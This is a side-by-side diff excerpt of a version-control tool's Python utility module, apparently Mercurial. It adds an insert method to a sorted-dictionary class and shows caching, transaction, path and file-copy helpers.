1246 class sortdict(collections.OrderedDict):
1246 class sortdict(collections.OrderedDict):
1247 '''a simple sorted dictionary
1247 '''a simple sorted dictionary
1248
1248
1249 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1249 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1250 >>> d2 = d1.copy()
1250 >>> d2 = d1.copy()
1251 >>> d2
1251 >>> d2
1252 sortdict([('a', 0), ('b', 1)])
1252 sortdict([('a', 0), ('b', 1)])
1253 >>> d2.update([(b'a', 2)])
1253 >>> d2.update([(b'a', 2)])
1254 >>> list(d2.keys()) # should still be in last-set order
1254 >>> list(d2.keys()) # should still be in last-set order
1255 ['b', 'a']
1255 ['b', 'a']
1256 >>> d1.insert(1, b'a.5', 0.5)
1257 >>> d1
1258 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1256 '''
1259 '''
1257
1260
1258 def __setitem__(self, key, value):
1261 def __setitem__(self, key, value):
1259 if key in self:
1262 if key in self:
1260 del self[key]
1263 del self[key]
1261 super(sortdict, self).__setitem__(key, value)
1264 super(sortdict, self).__setitem__(key, value)
1262
1265
1263 if pycompat.ispypy:
1266 if pycompat.ispypy:
1264 # __setitem__() isn't called as of PyPy 5.8.0
1267 # __setitem__() isn't called as of PyPy 5.8.0
1265 def update(self, src):
1268 def update(self, src):
1266 if isinstance(src, dict):
1269 if isinstance(src, dict):
1267 src = pycompat.iteritems(src)
1270 src = pycompat.iteritems(src)
1268 for k, v in src:
1271 for k, v in src:
1269 self[k] = v
1272 self[k] = v
1270
1273
1274 def insert(self, position, key, value):
1275 for (i, (k, v)) in enumerate(list(self.items())):
1276 if i == position:
1277 self[key] = value
1278 if i >= position:
1279 del self[k]
1280 self[k] = v
1281
1271
1282
1272 class cowdict(cow, dict):
1283 class cowdict(cow, dict):
1273 """copy-on-write dict
1284 """copy-on-write dict
1274
1285
1275 Be sure to call d = d.preparewrite() before writing to d.
1286 Be sure to call d = d.preparewrite() before writing to d.
1276
1287
1277 >>> a = cowdict()
1288 >>> a = cowdict()
1278 >>> a is a.preparewrite()
1289 >>> a is a.preparewrite()
1279 True
1290 True
1280 >>> b = a.copy()
1291 >>> b = a.copy()
1281 >>> b is a
1292 >>> b is a
1282 True
1293 True
1283 >>> c = b.copy()
1294 >>> c = b.copy()
1284 >>> c is a
1295 >>> c is a
1285 True
1296 True
1286 >>> a = a.preparewrite()
1297 >>> a = a.preparewrite()
1287 >>> b is a
1298 >>> b is a
1288 False
1299 False
1289 >>> a is a.preparewrite()
1300 >>> a is a.preparewrite()
1290 True
1301 True
1291 >>> c = c.preparewrite()
1302 >>> c = c.preparewrite()
1292 >>> b is c
1303 >>> b is c
1293 False
1304 False
1294 >>> b is b.preparewrite()
1305 >>> b is b.preparewrite()
1295 True
1306 True
1296 """
1307 """
1297
1308
1298
1309
1299 class cowsortdict(cow, sortdict):
1310 class cowsortdict(cow, sortdict):
1300 """copy-on-write sortdict
1311 """copy-on-write sortdict
1301
1312
1302 Be sure to call d = d.preparewrite() before writing to d.
1313 Be sure to call d = d.preparewrite() before writing to d.
1303 """
1314 """
1304
1315
1305
1316
1306 class transactional(object): # pytype: disable=ignored-metaclass
1317 class transactional(object): # pytype: disable=ignored-metaclass
1307 """Base class for making a transactional type into a context manager."""
1318 """Base class for making a transactional type into a context manager."""
1308
1319
1309 __metaclass__ = abc.ABCMeta
1320 __metaclass__ = abc.ABCMeta
1310
1321
1311 @abc.abstractmethod
1322 @abc.abstractmethod
1312 def close(self):
1323 def close(self):
1313 """Successfully closes the transaction."""
1324 """Successfully closes the transaction."""
1314
1325
1315 @abc.abstractmethod
1326 @abc.abstractmethod
1316 def release(self):
1327 def release(self):
1317 """Marks the end of the transaction.
1328 """Marks the end of the transaction.
1318
1329
1319 If the transaction has not been closed, it will be aborted.
1330 If the transaction has not been closed, it will be aborted.
1320 """
1331 """
1321
1332
1322 def __enter__(self):
1333 def __enter__(self):
1323 return self
1334 return self
1324
1335
1325 def __exit__(self, exc_type, exc_val, exc_tb):
1336 def __exit__(self, exc_type, exc_val, exc_tb):
1326 try:
1337 try:
1327 if exc_type is None:
1338 if exc_type is None:
1328 self.close()
1339 self.close()
1329 finally:
1340 finally:
1330 self.release()
1341 self.release()
1331
1342
1332
1343
1333 @contextlib.contextmanager
1344 @contextlib.contextmanager
1334 def acceptintervention(tr=None):
1345 def acceptintervention(tr=None):
1335 """A context manager that closes the transaction on InterventionRequired
1346 """A context manager that closes the transaction on InterventionRequired
1336
1347
1337 If no transaction was provided, this simply runs the body and returns
1348 If no transaction was provided, this simply runs the body and returns
1338 """
1349 """
1339 if not tr:
1350 if not tr:
1340 yield
1351 yield
1341 return
1352 return
1342 try:
1353 try:
1343 yield
1354 yield
1344 tr.close()
1355 tr.close()
1345 except error.InterventionRequired:
1356 except error.InterventionRequired:
1346 tr.close()
1357 tr.close()
1347 raise
1358 raise
1348 finally:
1359 finally:
1349 tr.release()
1360 tr.release()
1350
1361
1351
1362
1352 @contextlib.contextmanager
1363 @contextlib.contextmanager
1353 def nullcontextmanager():
1364 def nullcontextmanager():
1354 yield
1365 yield
1355
1366
1356
1367
1357 class _lrucachenode(object):
1368 class _lrucachenode(object):
1358 """A node in a doubly linked list.
1369 """A node in a doubly linked list.
1359
1370
1360 Holds a reference to nodes on either side as well as a key-value
1371 Holds a reference to nodes on either side as well as a key-value
1361 pair for the dictionary entry.
1372 pair for the dictionary entry.
1362 """
1373 """
1363
1374
1364 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1375 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1365
1376
1366 def __init__(self):
1377 def __init__(self):
1367 self.next = None
1378 self.next = None
1368 self.prev = None
1379 self.prev = None
1369
1380
1370 self.key = _notset
1381 self.key = _notset
1371 self.value = None
1382 self.value = None
1372 self.cost = 0
1383 self.cost = 0
1373
1384
1374 def markempty(self):
1385 def markempty(self):
1375 """Mark the node as emptied."""
1386 """Mark the node as emptied."""
1376 self.key = _notset
1387 self.key = _notset
1377 self.value = None
1388 self.value = None
1378 self.cost = 0
1389 self.cost = 0
1379
1390
1380
1391
1381 class lrucachedict(object):
1392 class lrucachedict(object):
1382 """Dict that caches most recent accesses and sets.
1393 """Dict that caches most recent accesses and sets.
1383
1394
1384 The dict consists of an actual backing dict - indexed by original
1395 The dict consists of an actual backing dict - indexed by original
1385 key - and a doubly linked circular list defining the order of entries in
1396 key - and a doubly linked circular list defining the order of entries in
1386 the cache.
1397 the cache.
1387
1398
1388 The head node is the newest entry in the cache. If the cache is full,
1399 The head node is the newest entry in the cache. If the cache is full,
1389 we recycle head.prev and make it the new head. Cache accesses result in
1400 we recycle head.prev and make it the new head. Cache accesses result in
1390 the node being moved to before the existing head and being marked as the
1401 the node being moved to before the existing head and being marked as the
1391 new head node.
1402 new head node.
1392
1403
1393 Items in the cache can be inserted with an optional "cost" value. This is
1404 Items in the cache can be inserted with an optional "cost" value. This is
1394 simply an integer that is specified by the caller. The cache can be queried
1405 simply an integer that is specified by the caller. The cache can be queried
1395 for the total cost of all items presently in the cache.
1406 for the total cost of all items presently in the cache.
1396
1407
1397 The cache can also define a maximum cost. If a cache insertion would
1408 The cache can also define a maximum cost. If a cache insertion would
1398 cause the total cost of the cache to go beyond the maximum cost limit,
1409 cause the total cost of the cache to go beyond the maximum cost limit,
1399 nodes will be evicted to make room for the new code. This can be used
1410 nodes will be evicted to make room for the new code. This can be used
1400 to e.g. set a max memory limit and associate an estimated bytes size
1411 to e.g. set a max memory limit and associate an estimated bytes size
1401 cost to each item in the cache. By default, no maximum cost is enforced.
1412 cost to each item in the cache. By default, no maximum cost is enforced.
1402 """
1413 """
1403
1414
1404 def __init__(self, max, maxcost=0):
1415 def __init__(self, max, maxcost=0):
1405 self._cache = {}
1416 self._cache = {}
1406
1417
1407 self._head = head = _lrucachenode()
1418 self._head = head = _lrucachenode()
1408 head.prev = head
1419 head.prev = head
1409 head.next = head
1420 head.next = head
1410 self._size = 1
1421 self._size = 1
1411 self.capacity = max
1422 self.capacity = max
1412 self.totalcost = 0
1423 self.totalcost = 0
1413 self.maxcost = maxcost
1424 self.maxcost = maxcost
1414
1425
1415 def __len__(self):
1426 def __len__(self):
1416 return len(self._cache)
1427 return len(self._cache)
1417
1428
1418 def __contains__(self, k):
1429 def __contains__(self, k):
1419 return k in self._cache
1430 return k in self._cache
1420
1431
1421 def __iter__(self):
1432 def __iter__(self):
1422 # We don't have to iterate in cache order, but why not.
1433 # We don't have to iterate in cache order, but why not.
1423 n = self._head
1434 n = self._head
1424 for i in range(len(self._cache)):
1435 for i in range(len(self._cache)):
1425 yield n.key
1436 yield n.key
1426 n = n.next
1437 n = n.next
1427
1438
1428 def __getitem__(self, k):
1439 def __getitem__(self, k):
1429 node = self._cache[k]
1440 node = self._cache[k]
1430 self._movetohead(node)
1441 self._movetohead(node)
1431 return node.value
1442 return node.value
1432
1443
1433 def insert(self, k, v, cost=0):
1444 def insert(self, k, v, cost=0):
1434 """Insert a new item in the cache with optional cost value."""
1445 """Insert a new item in the cache with optional cost value."""
1435 node = self._cache.get(k)
1446 node = self._cache.get(k)
1436 # Replace existing value and mark as newest.
1447 # Replace existing value and mark as newest.
1437 if node is not None:
1448 if node is not None:
1438 self.totalcost -= node.cost
1449 self.totalcost -= node.cost
1439 node.value = v
1450 node.value = v
1440 node.cost = cost
1451 node.cost = cost
1441 self.totalcost += cost
1452 self.totalcost += cost
1442 self._movetohead(node)
1453 self._movetohead(node)
1443
1454
1444 if self.maxcost:
1455 if self.maxcost:
1445 self._enforcecostlimit()
1456 self._enforcecostlimit()
1446
1457
1447 return
1458 return
1448
1459
1449 if self._size < self.capacity:
1460 if self._size < self.capacity:
1450 node = self._addcapacity()
1461 node = self._addcapacity()
1451 else:
1462 else:
1452 # Grab the last/oldest item.
1463 # Grab the last/oldest item.
1453 node = self._head.prev
1464 node = self._head.prev
1454
1465
1455 # At capacity. Kill the old entry.
1466 # At capacity. Kill the old entry.
1456 if node.key is not _notset:
1467 if node.key is not _notset:
1457 self.totalcost -= node.cost
1468 self.totalcost -= node.cost
1458 del self._cache[node.key]
1469 del self._cache[node.key]
1459
1470
1460 node.key = k
1471 node.key = k
1461 node.value = v
1472 node.value = v
1462 node.cost = cost
1473 node.cost = cost
1463 self.totalcost += cost
1474 self.totalcost += cost
1464 self._cache[k] = node
1475 self._cache[k] = node
1465 # And mark it as newest entry. No need to adjust order since it
1476 # And mark it as newest entry. No need to adjust order since it
1466 # is already self._head.prev.
1477 # is already self._head.prev.
1467 self._head = node
1478 self._head = node
1468
1479
1469 if self.maxcost:
1480 if self.maxcost:
1470 self._enforcecostlimit()
1481 self._enforcecostlimit()
1471
1482
1472 def __setitem__(self, k, v):
1483 def __setitem__(self, k, v):
1473 self.insert(k, v)
1484 self.insert(k, v)
1474
1485
1475 def __delitem__(self, k):
1486 def __delitem__(self, k):
1476 self.pop(k)
1487 self.pop(k)
1477
1488
1478 def pop(self, k, default=_notset):
1489 def pop(self, k, default=_notset):
1479 try:
1490 try:
1480 node = self._cache.pop(k)
1491 node = self._cache.pop(k)
1481 except KeyError:
1492 except KeyError:
1482 if default is _notset:
1493 if default is _notset:
1483 raise
1494 raise
1484 return default
1495 return default
1485
1496
1486 assert node is not None # help pytype
1497 assert node is not None # help pytype
1487 value = node.value
1498 value = node.value
1488 self.totalcost -= node.cost
1499 self.totalcost -= node.cost
1489 node.markempty()
1500 node.markempty()
1490
1501
1491 # Temporarily mark as newest item before re-adjusting head to make
1502 # Temporarily mark as newest item before re-adjusting head to make
1492 # this node the oldest item.
1503 # this node the oldest item.
1493 self._movetohead(node)
1504 self._movetohead(node)
1494 self._head = node.next
1505 self._head = node.next
1495
1506
1496 return value
1507 return value
1497
1508
1498 # Additional dict methods.
1509 # Additional dict methods.
1499
1510
1500 def get(self, k, default=None):
1511 def get(self, k, default=None):
1501 try:
1512 try:
1502 return self.__getitem__(k)
1513 return self.__getitem__(k)
1503 except KeyError:
1514 except KeyError:
1504 return default
1515 return default
1505
1516
1506 def peek(self, k, default=_notset):
1517 def peek(self, k, default=_notset):
1507 """Get the specified item without moving it to the head
1518 """Get the specified item without moving it to the head
1508
1519
1509 Unlike get(), this doesn't mutate the internal state. But be aware
1520 Unlike get(), this doesn't mutate the internal state. But be aware
1510 that it doesn't mean peek() is thread safe.
1521 that it doesn't mean peek() is thread safe.
1511 """
1522 """
1512 try:
1523 try:
1513 node = self._cache[k]
1524 node = self._cache[k]
1514 return node.value
1525 return node.value
1515 except KeyError:
1526 except KeyError:
1516 if default is _notset:
1527 if default is _notset:
1517 raise
1528 raise
1518 return default
1529 return default
1519
1530
1520 def clear(self):
1531 def clear(self):
1521 n = self._head
1532 n = self._head
1522 while n.key is not _notset:
1533 while n.key is not _notset:
1523 self.totalcost -= n.cost
1534 self.totalcost -= n.cost
1524 n.markempty()
1535 n.markempty()
1525 n = n.next
1536 n = n.next
1526
1537
1527 self._cache.clear()
1538 self._cache.clear()
1528
1539
1529 def copy(self, capacity=None, maxcost=0):
1540 def copy(self, capacity=None, maxcost=0):
1530 """Create a new cache as a copy of the current one.
1541 """Create a new cache as a copy of the current one.
1531
1542
1532 By default, the new cache has the same capacity as the existing one.
1543 By default, the new cache has the same capacity as the existing one.
1533 But, the cache capacity can be changed as part of performing the
1544 But, the cache capacity can be changed as part of performing the
1534 copy.
1545 copy.
1535
1546
1536 Items in the copy have an insertion/access order matching this
1547 Items in the copy have an insertion/access order matching this
1537 instance.
1548 instance.
1538 """
1549 """
1539
1550
1540 capacity = capacity or self.capacity
1551 capacity = capacity or self.capacity
1541 maxcost = maxcost or self.maxcost
1552 maxcost = maxcost or self.maxcost
1542 result = lrucachedict(capacity, maxcost=maxcost)
1553 result = lrucachedict(capacity, maxcost=maxcost)
1543
1554
1544 # We copy entries by iterating in oldest-to-newest order so the copy
1555 # We copy entries by iterating in oldest-to-newest order so the copy
1545 # has the correct ordering.
1556 # has the correct ordering.
1546
1557
1547 # Find the first non-empty entry.
1558 # Find the first non-empty entry.
1548 n = self._head.prev
1559 n = self._head.prev
1549 while n.key is _notset and n is not self._head:
1560 while n.key is _notset and n is not self._head:
1550 n = n.prev
1561 n = n.prev
1551
1562
1552 # We could potentially skip the first N items when decreasing capacity.
1563 # We could potentially skip the first N items when decreasing capacity.
1553 # But let's keep it simple unless it is a performance problem.
1564 # But let's keep it simple unless it is a performance problem.
1554 for i in range(len(self._cache)):
1565 for i in range(len(self._cache)):
1555 result.insert(n.key, n.value, cost=n.cost)
1566 result.insert(n.key, n.value, cost=n.cost)
1556 n = n.prev
1567 n = n.prev
1557
1568
1558 return result
1569 return result
1559
1570
1560 def popoldest(self):
1571 def popoldest(self):
1561 """Remove the oldest item from the cache.
1572 """Remove the oldest item from the cache.
1562
1573
1563 Returns the (key, value) describing the removed cache entry.
1574 Returns the (key, value) describing the removed cache entry.
1564 """
1575 """
1565 if not self._cache:
1576 if not self._cache:
1566 return
1577 return
1567
1578
1568 # Walk the linked list backwards starting at tail node until we hit
1579 # Walk the linked list backwards starting at tail node until we hit
1569 # a non-empty node.
1580 # a non-empty node.
1570 n = self._head.prev
1581 n = self._head.prev
1571 while n.key is _notset:
1582 while n.key is _notset:
1572 n = n.prev
1583 n = n.prev
1573
1584
1574 assert n is not None # help pytype
1585 assert n is not None # help pytype
1575
1586
1576 key, value = n.key, n.value
1587 key, value = n.key, n.value
1577
1588
1578 # And remove it from the cache and mark it as empty.
1589 # And remove it from the cache and mark it as empty.
1579 del self._cache[n.key]
1590 del self._cache[n.key]
1580 self.totalcost -= n.cost
1591 self.totalcost -= n.cost
1581 n.markempty()
1592 n.markempty()
1582
1593
1583 return key, value
1594 return key, value
1584
1595
1585 def _movetohead(self, node):
1596 def _movetohead(self, node):
1586 """Mark a node as the newest, making it the new head.
1597 """Mark a node as the newest, making it the new head.
1587
1598
1588 When a node is accessed, it becomes the freshest entry in the LRU
1599 When a node is accessed, it becomes the freshest entry in the LRU
1589 list, which is denoted by self._head.
1600 list, which is denoted by self._head.
1590
1601
1591 Visually, let's make ``N`` the new head node (* denotes head):
1602 Visually, let's make ``N`` the new head node (* denotes head):
1592
1603
1593 previous/oldest <-> head <-> next/next newest
1604 previous/oldest <-> head <-> next/next newest
1594
1605
1595 ----<->--- A* ---<->-----
1606 ----<->--- A* ---<->-----
1596 | |
1607 | |
1597 E <-> D <-> N <-> C <-> B
1608 E <-> D <-> N <-> C <-> B
1598
1609
1599 To:
1610 To:
1600
1611
1601 ----<->--- N* ---<->-----
1612 ----<->--- N* ---<->-----
1602 | |
1613 | |
1603 E <-> D <-> C <-> B <-> A
1614 E <-> D <-> C <-> B <-> A
1604
1615
1605 This requires the following moves:
1616 This requires the following moves:
1606
1617
1607 C.next = D (node.prev.next = node.next)
1618 C.next = D (node.prev.next = node.next)
1608 D.prev = C (node.next.prev = node.prev)
1619 D.prev = C (node.next.prev = node.prev)
1609 E.next = N (head.prev.next = node)
1620 E.next = N (head.prev.next = node)
1610 N.prev = E (node.prev = head.prev)
1621 N.prev = E (node.prev = head.prev)
1611 N.next = A (node.next = head)
1622 N.next = A (node.next = head)
1612 A.prev = N (head.prev = node)
1623 A.prev = N (head.prev = node)
1613 """
1624 """
1614 head = self._head
1625 head = self._head
1615 # C.next = D
1626 # C.next = D
1616 node.prev.next = node.next
1627 node.prev.next = node.next
1617 # D.prev = C
1628 # D.prev = C
1618 node.next.prev = node.prev
1629 node.next.prev = node.prev
1619 # N.prev = E
1630 # N.prev = E
1620 node.prev = head.prev
1631 node.prev = head.prev
1621 # N.next = A
1632 # N.next = A
1622 # It is tempting to do just "head" here, however if node is
1633 # It is tempting to do just "head" here, however if node is
1623 # adjacent to head, this will do bad things.
1634 # adjacent to head, this will do bad things.
1624 node.next = head.prev.next
1635 node.next = head.prev.next
1625 # E.next = N
1636 # E.next = N
1626 node.next.prev = node
1637 node.next.prev = node
1627 # A.prev = N
1638 # A.prev = N
1628 node.prev.next = node
1639 node.prev.next = node
1629
1640
1630 self._head = node
1641 self._head = node
1631
1642
1632 def _addcapacity(self):
1643 def _addcapacity(self):
1633 """Add a node to the circular linked list.
1644 """Add a node to the circular linked list.
1634
1645
1635 The new node is inserted before the head node.
1646 The new node is inserted before the head node.
1636 """
1647 """
1637 head = self._head
1648 head = self._head
1638 node = _lrucachenode()
1649 node = _lrucachenode()
1639 head.prev.next = node
1650 head.prev.next = node
1640 node.prev = head.prev
1651 node.prev = head.prev
1641 node.next = head
1652 node.next = head
1642 head.prev = node
1653 head.prev = node
1643 self._size += 1
1654 self._size += 1
1644 return node
1655 return node
1645
1656
1646 def _enforcecostlimit(self):
1657 def _enforcecostlimit(self):
1647 # This should run after an insertion. It should only be called if total
1658 # This should run after an insertion. It should only be called if total
1648 # cost limits are being enforced.
1659 # cost limits are being enforced.
1649 # The most recently inserted node is never evicted.
1660 # The most recently inserted node is never evicted.
1650 if len(self) <= 1 or self.totalcost <= self.maxcost:
1661 if len(self) <= 1 or self.totalcost <= self.maxcost:
1651 return
1662 return
1652
1663
1653 # This is logically equivalent to calling popoldest() until we
1664 # This is logically equivalent to calling popoldest() until we
1654 # free up enough cost. We don't do that since popoldest() needs
1665 # free up enough cost. We don't do that since popoldest() needs
1655 # to walk the linked list and doing this in a loop would be
1666 # to walk the linked list and doing this in a loop would be
1656 # quadratic. So we find the first non-empty node and then
1667 # quadratic. So we find the first non-empty node and then
1657 # walk nodes until we free up enough capacity.
1668 # walk nodes until we free up enough capacity.
1658 #
1669 #
1659 # If we only removed the minimum number of nodes to free enough
1670 # If we only removed the minimum number of nodes to free enough
1660 # cost at insert time, chances are high that the next insert would
1671 # cost at insert time, chances are high that the next insert would
1661 # also require pruning. This would effectively constitute quadratic
1672 # also require pruning. This would effectively constitute quadratic
1662 # behavior for insert-heavy workloads. To mitigate this, we set a
1673 # behavior for insert-heavy workloads. To mitigate this, we set a
1663 # target cost that is a percentage of the max cost. This will tend
1674 # target cost that is a percentage of the max cost. This will tend
1664 # to free more nodes when the high water mark is reached, which
1675 # to free more nodes when the high water mark is reached, which
1665 # lowers the chances of needing to prune on the subsequent insert.
1676 # lowers the chances of needing to prune on the subsequent insert.
1666 targetcost = int(self.maxcost * 0.75)
1677 targetcost = int(self.maxcost * 0.75)
1667
1678
1668 n = self._head.prev
1679 n = self._head.prev
1669 while n.key is _notset:
1680 while n.key is _notset:
1670 n = n.prev
1681 n = n.prev
1671
1682
1672 while len(self) > 1 and self.totalcost > targetcost:
1683 while len(self) > 1 and self.totalcost > targetcost:
1673 del self._cache[n.key]
1684 del self._cache[n.key]
1674 self.totalcost -= n.cost
1685 self.totalcost -= n.cost
1675 n.markempty()
1686 n.markempty()
1676 n = n.prev
1687 n = n.prev
1677
1688
1678
1689
1679 def lrucachefunc(func):
1690 def lrucachefunc(func):
1680 '''cache most recent results of function calls'''
1691 '''cache most recent results of function calls'''
1681 cache = {}
1692 cache = {}
1682 order = collections.deque()
1693 order = collections.deque()
1683 if func.__code__.co_argcount == 1:
1694 if func.__code__.co_argcount == 1:
1684
1695
1685 def f(arg):
1696 def f(arg):
1686 if arg not in cache:
1697 if arg not in cache:
1687 if len(cache) > 20:
1698 if len(cache) > 20:
1688 del cache[order.popleft()]
1699 del cache[order.popleft()]
1689 cache[arg] = func(arg)
1700 cache[arg] = func(arg)
1690 else:
1701 else:
1691 order.remove(arg)
1702 order.remove(arg)
1692 order.append(arg)
1703 order.append(arg)
1693 return cache[arg]
1704 return cache[arg]
1694
1705
1695 else:
1706 else:
1696
1707
1697 def f(*args):
1708 def f(*args):
1698 if args not in cache:
1709 if args not in cache:
1699 if len(cache) > 20:
1710 if len(cache) > 20:
1700 del cache[order.popleft()]
1711 del cache[order.popleft()]
1701 cache[args] = func(*args)
1712 cache[args] = func(*args)
1702 else:
1713 else:
1703 order.remove(args)
1714 order.remove(args)
1704 order.append(args)
1715 order.append(args)
1705 return cache[args]
1716 return cache[args]
1706
1717
1707 return f
1718 return f
1708
1719
1709
1720
1710 class propertycache(object):
1721 class propertycache(object):
1711 def __init__(self, func):
1722 def __init__(self, func):
1712 self.func = func
1723 self.func = func
1713 self.name = func.__name__
1724 self.name = func.__name__
1714
1725
1715 def __get__(self, obj, type=None):
1726 def __get__(self, obj, type=None):
1716 result = self.func(obj)
1727 result = self.func(obj)
1717 self.cachevalue(obj, result)
1728 self.cachevalue(obj, result)
1718 return result
1729 return result
1719
1730
1720 def cachevalue(self, obj, value):
1731 def cachevalue(self, obj, value):
1721 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1732 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1722 obj.__dict__[self.name] = value
1733 obj.__dict__[self.name] = value
1723
1734
1724
1735
1725 def clearcachedproperty(obj, prop):
1736 def clearcachedproperty(obj, prop):
1726 '''clear a cached property value, if one has been set'''
1737 '''clear a cached property value, if one has been set'''
1727 prop = pycompat.sysstr(prop)
1738 prop = pycompat.sysstr(prop)
1728 if prop in obj.__dict__:
1739 if prop in obj.__dict__:
1729 del obj.__dict__[prop]
1740 del obj.__dict__[prop]
1730
1741
1731
1742
1732 def increasingchunks(source, min=1024, max=65536):
1743 def increasingchunks(source, min=1024, max=65536):
1733 '''return no less than min bytes per chunk while data remains,
1744 '''return no less than min bytes per chunk while data remains,
1734 doubling min after each chunk until it reaches max'''
1745 doubling min after each chunk until it reaches max'''
1735
1746
1736 def log2(x):
1747 def log2(x):
1737 if not x:
1748 if not x:
1738 return 0
1749 return 0
1739 i = 0
1750 i = 0
1740 while x:
1751 while x:
1741 x >>= 1
1752 x >>= 1
1742 i += 1
1753 i += 1
1743 return i - 1
1754 return i - 1
1744
1755
1745 buf = []
1756 buf = []
1746 blen = 0
1757 blen = 0
1747 for chunk in source:
1758 for chunk in source:
1748 buf.append(chunk)
1759 buf.append(chunk)
1749 blen += len(chunk)
1760 blen += len(chunk)
1750 if blen >= min:
1761 if blen >= min:
1751 if min < max:
1762 if min < max:
1752 min = min << 1
1763 min = min << 1
1753 nmin = 1 << log2(blen)
1764 nmin = 1 << log2(blen)
1754 if nmin > min:
1765 if nmin > min:
1755 min = nmin
1766 min = nmin
1756 if min > max:
1767 if min > max:
1757 min = max
1768 min = max
1758 yield b''.join(buf)
1769 yield b''.join(buf)
1759 blen = 0
1770 blen = 0
1760 buf = []
1771 buf = []
1761 if buf:
1772 if buf:
1762 yield b''.join(buf)
1773 yield b''.join(buf)
1763
1774
1764
1775
1765 def always(fn):
1776 def always(fn):
1766 return True
1777 return True
1767
1778
1768
1779
1769 def never(fn):
1780 def never(fn):
1770 return False
1781 return False
1771
1782
1772
1783
1773 def nogc(func):
1784 def nogc(func):
1774 """disable garbage collector
1785 """disable garbage collector
1775
1786
1776 Python's garbage collector triggers a GC each time a certain number of
1787 Python's garbage collector triggers a GC each time a certain number of
1777 container objects (the number being defined by gc.get_threshold()) are
1788 container objects (the number being defined by gc.get_threshold()) are
1778 allocated even when marked not to be tracked by the collector. Tracking has
1789 allocated even when marked not to be tracked by the collector. Tracking has
1779 no effect on when GCs are triggered, only on what objects the GC looks
1790 no effect on when GCs are triggered, only on what objects the GC looks
1780 into. As a workaround, disable GC while building complex (huge)
1791 into. As a workaround, disable GC while building complex (huge)
1781 containers.
1792 containers.
1782
1793
1783 This garbage collector issue have been fixed in 2.7. But it still affect
1794 This garbage collector issue have been fixed in 2.7. But it still affect
1784 CPython's performance.
1795 CPython's performance.
1785 """
1796 """
1786
1797
1787 def wrapper(*args, **kwargs):
1798 def wrapper(*args, **kwargs):
1788 gcenabled = gc.isenabled()
1799 gcenabled = gc.isenabled()
1789 gc.disable()
1800 gc.disable()
1790 try:
1801 try:
1791 return func(*args, **kwargs)
1802 return func(*args, **kwargs)
1792 finally:
1803 finally:
1793 if gcenabled:
1804 if gcenabled:
1794 gc.enable()
1805 gc.enable()
1795
1806
1796 return wrapper
1807 return wrapper
1797
1808
1798
1809
1799 if pycompat.ispypy:
1810 if pycompat.ispypy:
1800 # PyPy runs slower with gc disabled
1811 # PyPy runs slower with gc disabled
1801 nogc = lambda x: x
1812 nogc = lambda x: x
1802
1813
1803
1814
1804 def pathto(root, n1, n2):
1815 def pathto(root, n1, n2):
1805 '''return the relative path from one place to another.
1816 '''return the relative path from one place to another.
1806 root should use os.sep to separate directories
1817 root should use os.sep to separate directories
1807 n1 should use os.sep to separate directories
1818 n1 should use os.sep to separate directories
1808 n2 should use "/" to separate directories
1819 n2 should use "/" to separate directories
1809 returns an os.sep-separated path.
1820 returns an os.sep-separated path.
1810
1821
1811 If n1 is a relative path, it's assumed it's
1822 If n1 is a relative path, it's assumed it's
1812 relative to root.
1823 relative to root.
1813 n2 should always be relative to root.
1824 n2 should always be relative to root.
1814 '''
1825 '''
1815 if not n1:
1826 if not n1:
1816 return localpath(n2)
1827 return localpath(n2)
1817 if os.path.isabs(n1):
1828 if os.path.isabs(n1):
1818 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1829 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1819 return os.path.join(root, localpath(n2))
1830 return os.path.join(root, localpath(n2))
1820 n2 = b'/'.join((pconvert(root), n2))
1831 n2 = b'/'.join((pconvert(root), n2))
1821 a, b = splitpath(n1), n2.split(b'/')
1832 a, b = splitpath(n1), n2.split(b'/')
1822 a.reverse()
1833 a.reverse()
1823 b.reverse()
1834 b.reverse()
1824 while a and b and a[-1] == b[-1]:
1835 while a and b and a[-1] == b[-1]:
1825 a.pop()
1836 a.pop()
1826 b.pop()
1837 b.pop()
1827 b.reverse()
1838 b.reverse()
1828 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1839 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1829
1840
1830
1841
1831 def checksignature(func):
1842 def checksignature(func):
1832 '''wrap a function with code to check for calling errors'''
1843 '''wrap a function with code to check for calling errors'''
1833
1844
1834 def check(*args, **kwargs):
1845 def check(*args, **kwargs):
1835 try:
1846 try:
1836 return func(*args, **kwargs)
1847 return func(*args, **kwargs)
1837 except TypeError:
1848 except TypeError:
1838 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1849 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1839 raise error.SignatureError
1850 raise error.SignatureError
1840 raise
1851 raise
1841
1852
1842 return check
1853 return check
1843
1854
1844
1855
1845 # a whilelist of known filesystems where hardlink works reliably
1856 # a whilelist of known filesystems where hardlink works reliably
1846 _hardlinkfswhitelist = {
1857 _hardlinkfswhitelist = {
1847 b'apfs',
1858 b'apfs',
1848 b'btrfs',
1859 b'btrfs',
1849 b'ext2',
1860 b'ext2',
1850 b'ext3',
1861 b'ext3',
1851 b'ext4',
1862 b'ext4',
1852 b'hfs',
1863 b'hfs',
1853 b'jfs',
1864 b'jfs',
1854 b'NTFS',
1865 b'NTFS',
1855 b'reiserfs',
1866 b'reiserfs',
1856 b'tmpfs',
1867 b'tmpfs',
1857 b'ufs',
1868 b'ufs',
1858 b'xfs',
1869 b'xfs',
1859 b'zfs',
1870 b'zfs',
1860 }
1871 }
1861
1872
1862
1873
1863 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1874 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1864 '''copy a file, preserving mode and optionally other stat info like
1875 '''copy a file, preserving mode and optionally other stat info like
1865 atime/mtime
1876 atime/mtime
1866
1877
1867 checkambig argument is used with filestat, and is useful only if
1878 checkambig argument is used with filestat, and is useful only if
1868 destination file is guarded by any lock (e.g. repo.lock or
1879 destination file is guarded by any lock (e.g. repo.lock or
1869 repo.wlock).
1880 repo.wlock).
1870
1881
1871 copystat and checkambig should be exclusive.
